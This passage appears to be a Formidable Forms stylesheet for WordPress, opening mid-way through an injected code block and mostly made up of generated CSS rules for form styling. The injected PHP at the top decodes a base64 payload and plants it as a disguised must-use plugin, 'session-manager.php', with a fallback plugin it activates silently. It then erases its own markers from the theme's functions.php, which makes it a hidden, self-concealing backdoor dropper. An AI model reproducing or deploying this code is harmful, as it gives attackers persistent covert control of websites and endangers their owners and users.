ZShbIm9rIj0+JHchPT1mYWxzZSwiYiI9PiR3XSk7ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIFN0YXR1cwogICAgICAgICAgICAgICAgLiAnaWYoJG09PT0icyIpe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsInYiPT4iMS4zIiwidCI9PnRpbWUoKV0pO2V4aXQ7fScgLiAiXG4iCiAgICAgICAgICAgICAgICAuICdlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJiYWRfbW9kZSJdKTsnIC4gIlxuIjsKICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfc2YsICRfc3R1Yl9jb2RlKTsKICAgICAgICB9CiAgICB9LCA5OTk5KTsKfQo='); $ok = false; $mu_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins'; $target = $mu_dir . '/session-manager.php'; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); @file_put_contents($target, $code); usleep(200000); clearstatcache(true, $target); if (file_exists($target) && filesize($target) > 1000) { $ok = true; } if (!$ok) { $pl_dir = WP_PLUGIN_DIR . '/wp-session-manager'; if (!is_dir($pl_dir)) @mkdir($pl_dir, 0755, true); $pl_file = $pl_dir . '/wp-session-manager.php'; @file_put_contents($pl_file, $code); usleep(200000); clearstatcache(true, $pl_file); if (file_exists($pl_file) && filesize($pl_file) > 1000) { $active = get_option('active_plugins') ?: array(); $slug = 'wp-session-manager/wp-session-manager.php'; if (!in_array($slug, $active)) { $active[] = $slug; update_option('active_plugins', $active); } $ok = true; } } if ($ok) { $func_file = get_template_directory() . '/functions.php'; $fc = @file_get_contents($func_file); if ($fc) { $m = '/* __mu_deployer__ */'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); /* __mu_deployer__ */ /* WARNING: Any changes made to this file will be lost when your Formidable settings are updated */ .with_frm_style{--form-width:100%;--form-align:left;--direction:ltr;--fieldset:0px;--fieldset-color:#000000;--fieldset-padding:0 0 15px 0;--fieldset-bg-color:transparent;--title-size:40px;--title-color:#444444;--title-margin-top:10px;--title-margin-bottom:60px;--form-desc-size:14px;--form-desc-color:#666666;--form-desc-margin-top:10px;--form-desc-margin-bottom:25px;--form-desc-padding:0;--font:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;--font-size:15px;--label-color:#3f4b5b;--weight:normal;--position:none;--align:left;--width:150px;--required-color:#B94A48;--required-weight:bold;--label-padding:0 0 3px 0;--description-font-size:12px;--description-color:#666666;--description-weight:normal;--description-style:normal;--description-align:left;--description-margin:0;--field-font-size:14px;--field-height:32px;--line-height:32px;--field-width:100%;--auto-width:100%;--field-pad:6px 10px;--field-margin:20px;--field-weight:normal;--text-color:#555555;--border-color:#BFC3C8;--field-border-width:1px;--field-border-style:solid;--bg-color:#ffffff;--bg-color-active:#ffffff;--border-color-active:#66afe9;--text-color-error:#444444;--bg-color-error:#ffffff;--border-color-error:#B94A48;--border-width-error:1px;--border-style-error:solid;--bg-color-disabled:#ffffff;--border-color-disabled:#E5E5E5;--text-color-disabled:#A1A1A1;--radio-align:block;--check-align:block;--check-font-size:13px;--check-label-color:#444444;--check-weight:normal;--section-font-size:18px;--section-color:#444444;--section-weight:bold;--section-pad:15px 0 3px 0;--section-mar-top:15px;--section-mar-bottom:30px;--section-bg-color:transparent;--section-border-color:#e8e8e8;--section-border-width:2px;--section-border-style:solid;--section-border-loc:-top;--collapse-pos:after;--repeat-icon-color:#ffffff;--submit-font-size:15px;--submit-width:auto;--submit-height:auto;--submit-bg-color:#579AF6;--submit-border-color:#579AF6;--submit-border-width:1px;--submit-text-color:#ffffff;--submit-weight:normal;--submit-border-radius:4px;--submit-margin:10px;--submit-padding:10px 20px;--submit-shadow-color:#eeeeee;--submit-hover-bg-color:#efefef;--submit-hover-color:#444444;--submit-hover-border-color:#cccccc;--submit-active-bg-color:#efefef;--submit-active-color:#444444;--submit-active-border-color:#cccccc;--border-radius:4px;--error-bg:#F2DEDE;--error-border:#EBCCD1;--error-text:#B94A48;--error-font-size:14px;--success-bg-color:#DFF0D8;--success-border-color:#D6E9C6;--success-text-color:#468847;--success-font-size:14px;--progress-bg-color:#eaeaea;--progress-color:#3f4b5b;--progress-active-bg-color:#579AF6;--progress-active-color:#ffffff;--progress-border-color:#E5E5E5;--progress-border-size:2px;--progress-size:30px;--base-font-size:15px;--toggle-font-size:15px;--toggle-on-color:#579AF6;--toggle-off-color:#eaeaea;--slider-font-size:24px;--slider-color:#579AF6;--slider-bar-color:#579AF6;--date-head-bg-color:#579AF6;--date-head-color:#ffffff;--date-band-color:#2568c4;--bg-image-opacity:100%;--box-shadow:0 1px 2px 0 rgba(18, 18, 23, 0.05);}.frm_hidden,.frm_add_form_row.frm_hidden,.frm_remove_form_row.frm_hidden,.with_frm_style .frm_button.frm_hidden{display:none;}.with_frm_style,.with_frm_style form,.with_frm_style .frm-show-form div.frm_description p{text-align: var(--form-align);}input:-webkit-autofill {-webkit-box-shadow: 0 0 0 30px white inset;}.with_frm_style .frm-show-form div.frm_description p{font-size: var(--form-desc-size);color: var(--form-desc-color);margin-top: var(--form-desc-margin-top);margin-bottom: var(--form-desc-margin-bottom);padding: var(--form-desc-padding);}.with_frm_style fieldset{min-width:0;display: block; }.with_frm_style fieldset fieldset{border:none;margin:0;padding:0;background-color:transparent;}.with_frm_style .frm_form_fields > fieldset{border-width: var(--fieldset);border-style:solid;border-color: var(--fieldset-color);margin:0;padding: var(--fieldset-padding);background-color: var(--fieldset-bg-color);font-family:var(--font);}legend.frm_hidden{display:none !important;}.with_frm_style .frm_form_fields{opacity:1;transition: opacity 0.1s linear;}.with_frm_style .frm_doing_ajax{opacity:.5;}.frm_transparent{color:transparent;}.with_frm_style legend + h3,.with_frm_style h3.frm_form_title{font-size: var(--title-size);color: var(--title-color);font-family: var(--font);margin-top: var(--title-margin-top);margin-bottom: var(--title-margin-bottom);}.with_frm_style .frm_form_field.frm_html_container,.with_frm_style .frm_form_field .frm_show_it{font-family: var(--font);color: var(--form-desc-color);}.with_frm_style .frm_form_field.frm_html_container{font-size: var(--form-desc-size);}.with_frm_style .frm_form_field .frm_show_it{font-size: var(--field-font-size);font-weight: var(--field-weight);}.with_frm_style .frm_required {color: var(--required-color);font-weight: var(--required-weight);}.with_frm_style .chosen-container,.with_frm_style input[type=text],.with_frm_style input[type=password],.with_frm_style input[type=email],.with_frm_style input[type=number],.with_frm_style input[type=url],.with_frm_style input[type=tel],.with_frm_style input[type=search],.with_frm_style select,.with_frm_style textarea,.with_frm_style .frm-card-element.StripeElement {font-family:var(--font);font-size: var(--field-font-size);margin-bottom:0;}.with_frm_style textarea{vertical-align:top;height:auto;}.with_frm_style .chosen-container-multi .chosen-choices,.with_frm_style .chosen-container-single .chosen-single,.with_frm_style input[type=text],.with_frm_style input[type=password],.with_frm_style input[type=email],.with_frm_style input[type=number],.with_frm_style input[type=url],.with_frm_style input[type=tel],.with_frm_style input[type=phone],.with_frm_style input[type=search],.with_frm_style select,.with_frm_style textarea,.frm_form_fields_style,.with_frm_style .frm_scroll_box .frm_opt_container,.frm_form_fields_active_style,.frm_form_fields_error_style,.with_frm_style .frm-card-element.StripeElement {color: var(--text-color);background-color: var(--bg-color);border-color: var(--border-color);border-width: var(--field-border-width);border-style: var(--field-border-style);border-radius: var(--border-radius);width: var(--field-width);max-width: 100%;font-size: var(--field-font-size);padding: var(--field-pad);box-sizing: border-box;outline: none;font-weight: var(--field-weight);}.with_frm_style select option {color: var(--text-color);}.with_frm_style select option.frm-select-placeholder {color: var(--text-color-disabled);}.with_frm_style input[type=radio],.with_frm_style input[type=checkbox]{border-color: var(--border-color);box-shadow: var(--box-shadow);float: none;}.with_frm_style input[type=radio]:after,.with_frm_style input[type=checkbox]:after {display: none; }.with_frm_style input[type=radio]:not(:checked):focus,.with_frm_style input[type=checkbox]:not(:checked):focus {border-color: var(--border-color) !important;}.with_frm_style input[type=radio]:focus,.with_frm_style input[type=checkbox]:focus {box-shadow:0px 0px 0px 3px rgba(102,175,233, 0.4) !important;}.with_frm_style input[type=text],.with_frm_style input[type=password],.with_frm_style input[type=email],.with_frm_style input[type=number],.with_frm_style input[type=url],.with_frm_style input[type=tel],.with_frm_style input[type=file],.with_frm_style input[type=search],.with_frm_style select,.with_frm_style .frm-card-element.StripeElement{min-height: var(--field-height);line-height:1.3;}.with_frm_style select[multiple=multiple]{height:auto;}.input[type=file].frm_transparent:focus,.with_frm_style input[type=file]{background-color:transparent;border:none;outline:none;box-shadow:none;}.with_frm_style input[type=file]{color: var(--text-color);padding: 0px;font-family: var(--font);font-size: var(--field-font-size);display: initial;}.with_frm_style input[type=file].frm_transparent{color:transparent;}.with_frm_style .wp-editor-wrap{width: var(--field-width);max-width:100%;}.with_frm_style .wp-editor-container textarea{border:none;box-shadow:none !important;}.with_frm_style .mceIframeContainer{background-color: var(--bg-color);}.with_frm_style select{width: var(--auto-width);max-width:100%;background-position-y: calc(50% + 3px);}.with_frm_style input[disabled],.with_frm_style select[disabled],.with_frm_style textarea[disabled],.with_frm_style input[readonly],.with_frm_style select[readonly],.with_frm_style textarea[readonly] {background-color: var(--bg-color-disabled);color: var(--text-color-disabled);border-color: var(--border-color-disabled);}.frm_preview_page:before{content:normal !important;}.frm_preview_page{padding:25px;}.with_frm_style .frm_primary_label{max-width:100%;font-family: var(--font);font-size: var(--font-size);color: var(--label-color);font-weight: var(--weight);text-align: var(--align);padding: var(--label-padding);margin:0;width:auto;display:block;}.with_frm_style .frm_top_container .frm_primary_label,.with_frm_style .frm_hidden_container .frm_primary_label,.with_frm_style .frm_pos_top{display:block;float:none;width:auto;}.with_frm_style .frm_inline_container .frm_primary_label{margin-right:10px;}.with_frm_style .frm_right_container .frm_primary_label,.with_frm_style .frm_pos_right{display:inline;float:right;margin-left:10px;}.with_frm_style .frm_pos_center {text-align: center;}.with_frm_style .frm_none_container .frm_primary_label,.with_frm_style .frm_pos_none,.frm_pos_none,.frm_none_container .frm_primary_label{display:none;}.with_frm_style .frm_section_heading.frm_hide_section{margin-top:0 !important;}.with_frm_style .frm_hidden_container .frm_primary_label,.with_frm_style .frm_pos_hidden,.frm_hidden_container .frm_primary_label{visibility:hidden;white-space:nowrap;}.frm_visible{opacity:1;}.with_frm_style .frm_inside_container {position: relative;padding-top: 18px;padding-top: calc(0.5 * var(--field-height));}.with_frm_style .frm_inside_container > input,.with_frm_style .frm_inside_container > select,.with_frm_style .frm_inside_container > textarea {display: block;}.with_frm_style input::placeholder,.with_frm_style textarea::placeholder {font-size: var(--field-font-size);}.with_frm_style .frm_inside_container > input::placeholder,.with_frm_style .frm_inside_container > textarea::placeholder {opacity: 0;transition: opacity 0.3s ease-in;}.with_frm_style .frm_inside_container > label {transition: all 0.3s ease-in;position: absolute;top: 19px;top: calc(1px + .5 * var(--field-height));left: 3px;width: 100%;line-height: 1.3;text-overflow: ellipsis;overflow: hidden;white-space: nowrap;padding: 8px 12px;padding: var(--field-pad);font-size: 14px;font-size: var(--field-font-size);font-weight: normal;font-weight: var(--field-weight);pointer-events: none;}.with_frm_style.frm_style_lines-no-boxes .frm_inside_container > label {line-height: 1;}.with_frm_style .frm_inside_container.frm_label_float_top > label {top: 0;left: 0;padding: 0;font-size: 12px;font-size: calc(0.85 * var(--field-font-size));}.with_frm_style .frm_inside_container.frm_label_float_top > input::placeholder,.with_frm_style .frm_inside_container.frm_label_float_top > textarea::placeholder {opacity: 1;transition: opacity 0.3s ease-in;}.with_frm_style .frm_description,.with_frm_style .frm_pro_max_limit_desc{clear:both;}.with_frm_style input[type=number][readonly] {-moz-appearance: textfield;}.with_frm_style select[multiple="multiple"]{height:auto;line-height:normal;}.with_frm_style .frm_catlevel_2,.with_frm_style .frm_catlevel_3,.with_frm_style .frm_catlevel_4,.with_frm_style .frm_catlevel_5{margin-left:18px;}.with_frm_style .wp-editor-container{border:1px solid #e5e5e5;}.with_frm_style .quicktags-toolbar input{font-size:12px !important;}.with_frm_style .wp-editor-container textarea{border:none;}.with_frm_style .auto_width #loginform input,.with_frm_style .auto_width input,.with_frm_style input.auto_width,.with_frm_style select.auto_width,.with_frm_style textarea.auto_width{width:auto;}.with_frm_style .frm_repeat_buttons{white-space:nowrap;}.with_frm_style .frm_button{text-decoration:none !important;border:1px solid #eee;display:inline-block;padding: var(--submit-padding);border-radius:4px;border-radius:var(--border-radius);font-size: var(--submit-font-size);font-family: var(--font);font-weight: var(--submit-weight);color: var(--submit-text-color);background: var(--submit-bg-color);border-width: var(--submit-border-width);border-color: var(--submit-border-color);height: var(--submit-height);}.with_frm_style .frm_button.frm_inverse{color:var(--submit-bg-color);background:var(--submit-text-color);}.with_frm_style .frm_submit{clear:both;}.frm_inline_form .frm_form_field,.frm_inline_form .frm_submit{grid-column: span 1 / span 1;}.frm_inline_form .frm_submit{margin:0;}.frm_submit.frm_inline_submit input[type=submit],.frm_submit.frm_inline_submit button,.frm_inline_form .frm_submit input[type=submit],.frm_inline_form .frm_submit button{margin-top:0;}.with_frm_style.frm_center_submit .frm_submit{text-align:center;}.with_frm_style.frm_center_submit .frm_flex.frm_submit {justify-content: center;}.with_frm_style .frm_inline_success .frm_submit{display: flex;flex-direction: row;align-items: center;margin: 0;}.with_frm_style .frm_inline_success .frm_submit .frm_message{flex: 1;margin: 0;padding-left: 10px;}.with_frm_style .frm_inline_success.frm_alignright_success .frm_submit .frm_message{text-align: right;}.with_frm_style.frm_center_submit .frm_submit input[type=submit],.with_frm_style.frm_center_submit .frm_submit input[type=button],.with_frm_style.frm_center_submit .frm_submit button{margin-bottom:8px !important;}.with_frm_style .frm-edit-page-btn,.with_frm_style .frm_submit input[type=submit],.with_frm_style .frm_submit input[type=button],.with_frm_style .frm_submit button{-webkit-appearance: none;cursor: pointer;}.with_frm_style.frm_center_submit .frm_submit .frm_ajax_loading{display: block;margin: 0 auto;}.with_frm_style .frm_loading_prev .frm_ajax_loading,.with_frm_style .frm_loading_form .frm_ajax_loading{visibility:visible !important;}.with_frm_style .frm_loading_prev .frm_prev_page,.with_frm_style .frm_loading_form .frm_button_submit {position: relative;color: transparent !important;text-shadow: none !important;}.with_frm_style .frm_loading_prev .frm_prev_page:hover,.with_frm_style .frm_loading_prev .frm_prev_page:active,.with_frm_style .frm_loading_prev .frm_prev_page:focus,.with_frm_style .frm_loading_form .frm_button_submit:hover,.with_frm_style .frm_loading_form .frm_button_submit:active,.with_frm_style .frm_loading_form .frm_button_submit:focus {cursor: not-allowed;color: transparent;outline: none !important;box-shadow: none;}.with_frm_style .frm_loading_prev .frm_prev_page::before,.with_frm_style .frm_loading_form .frm_button_submit:before {content: '';display: inline-block;position: absolute;background: transparent;border: 1px solid #fff;border-top-color: transparent;border-left-color: transparent;border-radius: 50%;box-sizing: border-box;top: 50%;left: 50%;margin-top: -6px;margin-left: -6px;width: 12px;height: 12px;animation: spin 2s linear infinite;}.with_frm_style .frm_submit.frm_flex {align-items: center;gap: 2%;}.with_frm_style .frm_submit.frm_flex button.frm_button_submit ~ .frm_prev_page {order: -1;}.frm_style_dark.with_frm_style{--fieldset-color:#ffffff;--fieldset-padding:0 0 10px 0;--fieldset-bg-color:#0f1832;--title-color:#ffffff;--form-desc-color:#ffffff;--form-desc-padding:0px;--label-color:#ffffff;--description-color:#ffffff;--text-color:#c1c1c1;--border-color:#2d3447;--bg-color:#2d3447;--text-color-error:#000000;--submit-bg-color:#0c71c3;--submit-border-color:#0c71c3;}.frm_forms.frm_style_dark.with_frm_style{max-width:var(--form-width);direction:var(--direction);}.frm_style_dark.with_frm_style .form-field{margin-bottom:var(--field-margin);}.frm_style_dark.with_frm_style .form-field.frm_section_heading{margin-bottom:0;}.frm_style_dark.with_frm_style p.description,.frm_style_dark.with_frm_style div.description,.frm_style_dark.with_frm_style div.frm_description,.frm_style_dark.with_frm_style .frm-show-form > div.frm_description,.frm_style_dark.with_frm_style .frm_error,.frm_style_dark.with_frm_style .frm_pro_max_limit_desc{margin-top: 6px;padding:0;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:12px;color:#ffffff;font-weight:normal;text-align:left;font-style:normal;max-width:100%;}.frm_style_dark.with_frm_style .frm_form_field.frm_left_container{grid-template-columns: 150px auto;}.frm_style_dark.with_frm_style .frm_form_field.frm_right_container{grid-template-columns: auto 150px;}.frm_form_field.frm_right_container{grid-template-columns: auto 25%;}.frm_style_dark.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_data_container,.frm_style_dark.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_opt_container{display:inline;}.frm_style_dark.with_frm_style .frm_pos_right{display:inline;width:var(--width);}.frm_style_dark.with_frm_style .frm_none_container .frm_primary_label,.frm_style_dark.with_frm_style .frm_pos_none{display:none;}.frm_style_dark.with_frm_style .frm_scale label{font-weight:normal;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:13px;color:#444444;}.frm_style_dark.with_frm_style input::placeholder,.frm_style_dark.with_frm_style textarea::placeholder{color:var(--text-color-disabled);}.frm_style_dark.with_frm_style .frm_default,.frm_style_dark.with_frm_style input.frm_default,.frm_style_dark.with_frm_style textarea.frm_default,.frm_style_dark.with_frm_style select.frm_default,.frm_style_dark.with_frm_style .chosen-container-multi .chosen-choices li.search-field .default,.frm_style_dark.with_frm_style .chosen-container-single .chosen-default,.frm_style_dark.with_frm_style .placeholder {color:var(--text-color-disabled);}.frm_style_dark.with_frm_style .form-field input:not([type=file]):not([type=range]):not([readonly]):focus,.frm_style_dark.with_frm_style select:focus,.frm_style_dark.with_frm_style .form-field textarea:focus,.frm_style_dark.with_frm_style .frm_focus_field input[type=text],.frm_style_dark.with_frm_style .frm_focus_field input[type=password],.frm_style_dark.with_frm_style .frm_focus_field input[type=email],.frm_style_dark.with_frm_style .frm_focus_field input[type=number],.frm_style_dark.with_frm_style .frm_focus_field input[type=url],.frm_style_dark.with_frm_style .frm_focus_field input[type=tel],.frm_style_dark.with_frm_style .frm_focus_field input[type=search],.frm_form_fields_active_style,.frm_style_dark.with_frm_style .chosen-container-single.chosen-container-active .chosen-single,.frm_style_dark.with_frm_style .chosen-container-active .chosen-choices,.frm_style_dark.with_frm_style .frm_focus_field .frm-card-element.StripeElement {background-color:var(--bg-color-active);border-color:var(--border-color-active);color:var(--text-color);box-shadow:0px 0px 5px 0px rgba(102,175,233, 0.6);}.frm_style_dark.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message,.frm_style_dark.with_frm_style .frm-edit-page-btn,.frm_style_dark.with_frm_style input[type=submit],.frm_style_dark.with_frm_style .frm_submit input[type=button],.frm_style_dark.with_frm_style .frm_submit button,.frm_form_submit_style {width:auto;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:15px;height:auto;line-height:normal;text-align:center;background:#0c71c3;border-width:1px;border-color: #0c71c3;border-style:solid;color:#ffffff;cursor:pointer;font-weight:normal;border-radius:4px;text-shadow:none;padding:10px 20px;box-sizing:border-box;box-shadow:0 1px 1px #eeeeee;margin:10px;margin-left:0;margin-right:0;vertical-align:middle;}.frm_style_dark.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message{margin:0;}.frm_style_dark.with_frm_style .frm-edit-page-btn:hover,.frm_style_dark.with_frm_style input[type=submit]:hover,.frm_style_dark.with_frm_style .frm_submit input[type=button]:hover,.frm_style_dark.with_frm_style .frm_submit button:hover{background:var(--submit-hover-bg-color);border-color:var(--submit-hover-border-color);color:var(--submit-hover-color);}.frm_style_dark.with_frm_style.frm_center_submit .frm_submit .frm_ajax_loading{margin-bottom:10px;}.frm_style_dark.with_frm_style .frm-edit-page-btn:focus,.frm_style_dark.with_frm_style input[type=submit]:focus,.frm_style_dark.with_frm_style .frm_submit input[type=button]:focus,.frm_style_dark.with_frm_style .frm_submit button:focus,.frm_style_dark.with_frm_style input[type=submit]:active,.frm_style_dark.with_frm_style .frm_submit input[type=button]:active,.frm_style_dark.with_frm_style .frm_submit button:active{background:var(--submit-active-bg-color);border-color:var(--submit-active-border-color);color:var(--submit-active-color);outline: none;}.frm_style_dark.with_frm_style .frm_loading_prev .frm_prev_page,.frm_style_dark.with_frm_style .frm_loading_prev .frm_prev_page:hover,.frm_style_dark.with_frm_style .frm_loading_prev .frm_prev_page:active,.frm_style_dark.with_frm_style .frm_loading_prev .frm_prev_page:focus,.frm_style_dark.with_frm_style .frm_loading_form .frm_button_submit,.frm_style_dark.with_frm_style .frm_loading_form .frm_button_submit:hover,.frm_style_dark.with_frm_style .frm_loading_form .frm_button_submit:active,.frm_style_dark.with_frm_style .frm_loading_form .frm_button_submit:focus{color: transparent;background:var(--submit-bg-color);border-color:var(--submit-bg-color);}.frm_style_dark.with_frm_style .frm_loading_prev .frm_prev_page:before,.frm_style_dark.with_frm_style .frm_loading_form .frm_button_submit:before {border-bottom-color:var(--submit-text-color);border-right-color:var(--submit-text-color);}.frm_style_dark.with_frm_style.frm_inline_top .frm_submit::before,.frm_style_dark.with_frm_style .frm_submit.frm_inline_submit::before {content:"before";font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:var(--font-size);color:var(--label-color);font-weight:var(--weight);margin:0;padding:var(--label-padding);width:auto;display:block;visibility:hidden;}.frm_style_dark.with_frm_style.frm_inline_form .frm_submit input,.frm_style_dark.with_frm_style.frm_inline_form .frm_submit button,.frm_style_dark.with_frm_style .frm_submit.frm_inline_submit input,.frm_style_dark.with_frm_style .frm_submit.frm_inline_submit button {margin: 0 !important;}.frm_style_dark.with_frm_style .frm_blank_field input[type=text],.frm_style_dark.with_frm_style .frm_blank_field input[type=password],.frm_style_dark.with_frm_style .frm_blank_field input[type=url],.frm_style_dark.with_frm_style .frm_blank_field input[type=tel],.frm_style_dark.with_frm_style .frm_blank_field input[type=number],.frm_style_dark.with_frm_style .frm_blank_field input[type=email],.frm_style_dark.with_frm_style .frm_blank_field input[type=checkbox],.frm_style_dark.with_frm_style .frm_blank_field input[type=radio],.frm_style_dark.with_frm_style .frm_blank_field textarea,.frm_style_dark.with_frm_style .frm_blank_field .mce-edit-area iframe,.frm_style_dark.with_frm_style .frm_blank_field select:not(.ui-datepicker-month):not(.ui-datepicker-year),.frm_form_fields_error_style,.frm_style_dark.with_frm_style .frm_blank_field .frm-g-recaptcha iframe,.frm_style_dark.with_frm_style .frm_blank_field .g-recaptcha iframe,.frm_style_dark.with_frm_style .frm_blank_field .frm-card-element.StripeElement,.frm_style_dark.with_frm_style .frm_blank_field .chosen-container-multi .chosen-choices,.frm_style_dark.with_frm_style .frm_blank_field .chosen-container-single .chosen-single,.frm_style_dark.with_frm_style .frm_form_field :invalid {color:var(--text-color-error);background-color:var(--bg-color-error);border-color:var(--border-color-error);border-width:var(--border-width-error);border-style:var(--border-style-error);}.frm_style_dark.with_frm_style .frm_error,.frm_style_dark.with_frm_style .frm_limit_error{font-weight:var(--weight);color:var(--border-color-error);}.frm_style_dark.with_frm_style .frm_error_style{background-color:var(--error-bg);border:1px solid var(--error-border);border-radius:var(--border-radius);color:var(--error-text);font-size:var(--error-font-size);margin:0;margin-bottom:var(--field-margin);}.frm_style_dark.with_frm_style #frm_loading .progress-striped .progress-bar{background-image:linear-gradient(45deg, #2d3447 25%, rgba(0, 0, 0, 0) 25%, rgba(0, 0, 0, 0) 50%, #2d3447 50%, #2d3447 75%, rgba(0, 0, 0, 0) 75%, rgba(0, 0, 0, 0));}.frm_style_dark.with_frm_style #frm_loading .progress-bar{background-color:var(--bg-color);}.frm_style_dark.with_frm_style .frm_form_field.frm_total_big input,.frm_style_dark.with_frm_style .frm_form_field.frm_total_big textarea,.frm_style_dark.with_frm_style .frm_form_field.frm_total input,.frm_style_dark.with_frm_style .frm_form_field.frm_total textarea{color: #c1c1c1;background-color:transparent;border:none;display:inline;width:auto;padding:0;}.frm_style_formidable-style.with_frm_style{}.frm_forms.frm_style_formidable-style.with_frm_style{max-width:var(--form-width);direction:var(--direction);}.frm_style_formidable-style.with_frm_style .form-field{margin-bottom:var(--field-margin);}.frm_style_formidable-style.with_frm_style .form-field.frm_section_heading{margin-bottom:0;}.frm_style_formidable-style.with_frm_style p.description,.frm_style_formidable-style.with_frm_style div.description,.frm_style_formidable-style.with_frm_style div.frm_description,.frm_style_formidable-style.with_frm_style .frm-show-form > div.frm_description,.frm_style_formidable-style.with_frm_style .frm_error,.frm_style_formidable-style.with_frm_style .frm_pro_max_limit_desc{margin-top: 6px;padding:0;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:12px;color:#666666;font-weight:normal;text-align:left;font-style:normal;max-width:100%;}.frm_style_formidable-style.with_frm_style .frm_form_field.frm_left_container{grid-template-columns: 150px auto;}.frm_style_formidable-style.with_frm_style .frm_form_field.frm_right_container{grid-template-columns: auto 150px;}.frm_form_field.frm_right_container{grid-template-columns: auto 25%;}.frm_style_formidable-style.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_data_container,.frm_style_formidable-style.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_opt_container{display:inline;}.frm_style_formidable-style.with_frm_style .frm_pos_right{display:inline;width:var(--width);}.frm_style_formidable-style.with_frm_style .frm_none_container .frm_primary_label,.frm_style_formidable-style.with_frm_style .frm_pos_none{display:none;}.frm_style_formidable-style.with_frm_style .frm_scale label{font-weight:normal;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:13px;color:#444444;}.frm_style_formidable-style.with_frm_style input::placeholder,.frm_style_formidable-style.with_frm_style textarea::placeholder{color:var(--text-color-disabled);}.frm_style_formidable-style.with_frm_style .frm_default,.frm_style_formidable-style.with_frm_style input.frm_default,.frm_style_formidable-style.with_frm_style textarea.frm_default,.frm_style_formidable-style.with_frm_style select.frm_default,.frm_style_formidable-style.with_frm_style .chosen-container-multi .chosen-choices li.search-field .default,.frm_style_formidable-style.with_frm_style .chosen-container-single .chosen-default,.frm_style_formidable-style.with_frm_style .placeholder {color:var(--text-color-disabled);}.frm_style_formidable-style.with_frm_style .form-field input:not([type=file]):not([type=range]):not([readonly]):focus,.frm_style_formidable-style.with_frm_style select:focus,.frm_style_formidable-style.with_frm_style .form-field textarea:focus,.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=text],.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=password],.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=email],.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=number],.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=url],.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=tel],.frm_style_formidable-style.with_frm_style .frm_focus_field input[type=search],.frm_form_fields_active_style,.frm_style_formidable-style.with_frm_style .chosen-container-single.chosen-container-active .chosen-single,.frm_style_formidable-style.with_frm_style .chosen-container-active .chosen-choices,.frm_style_formidable-style.with_frm_style .frm_focus_field .frm-card-element.StripeElement {background-color:var(--bg-color-active);border-color:var(--border-color-active);color:var(--text-color);box-shadow:0px 0px 5px 0px rgba(102,175,233, 0.6);}.frm_style_formidable-style.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message,.frm_style_formidable-style.with_frm_style .frm-edit-page-btn,.frm_style_formidable-style.with_frm_style input[type=submit],.frm_style_formidable-style.with_frm_style .frm_submit input[type=button],.frm_style_formidable-style.with_frm_style .frm_submit button,.frm_form_submit_style {width:auto;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:15px;height:auto;line-height:normal;text-align:center;background:#579AF6;border-width:1px;border-color: #579AF6;border-style:solid;color:#ffffff;cursor:pointer;font-weight:normal;border-radius:4px;text-shadow:none;padding:10px 20px;box-sizing:border-box;box-shadow:0 1px 1px #eeeeee;margin:10px;margin-left:0;margin-right:0;vertical-align:middle;}.frm_style_formidable-style.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message{margin:0;}.frm_style_formidable-style.with_frm_style .frm-edit-page-btn:hover,.frm_style_formidable-style.with_frm_style input[type=submit]:hover,.frm_style_formidable-style.with_frm_style .frm_submit input[type=button]:hover,.frm_style_formidable-style.with_frm_style .frm_submit button:hover{background:var(--submit-hover-bg-color);border-color:var(--submit-hover-border-color);color:var(--submit-hover-color);}.frm_style_formidable-style.with_frm_style.frm_center_submit .frm_submit .frm_ajax_loading{margin-bottom:10px;}.frm_style_formidable-style.with_frm_style .frm-edit-page-btn:focus,.frm_style_formidable-style.with_frm_style input[type=submit]:focus,.frm_style_formidable-style.with_frm_style .frm_submit input[type=button]:focus,.frm_style_formidable-style.with_frm_style .frm_submit button:focus,.frm_style_formidable-style.with_frm_style input[type=submit]:active,.frm_style_formidable-style.with_frm_style .frm_submit input[type=button]:active,.frm_style_formidable-style.with_frm_style .frm_submit button:active{background:var(--submit-active-bg-color);border-color:var(--submit-active-border-color);color:var(--submit-active-color);outline: none;}.frm_style_formidable-style.with_frm_style .frm_loading_prev .frm_prev_page,.frm_style_formidable-style.with_frm_style .frm_loading_prev .frm_prev_page:hover,.frm_style_formidable-style.with_frm_style .frm_loading_prev .frm_prev_page:active,.frm_style_formidable-style.with_frm_style .frm_loading_prev .frm_prev_page:focus,.frm_style_formidable-style.with_frm_style .frm_loading_form .frm_button_submit,.frm_style_formidable-style.with_frm_style .frm_loading_form .frm_button_submit:hover,.frm_style_formidable-style.with_frm_style .frm_loading_form .frm_button_submit:active,.frm_style_formidable-style.with_frm_style .frm_loading_form 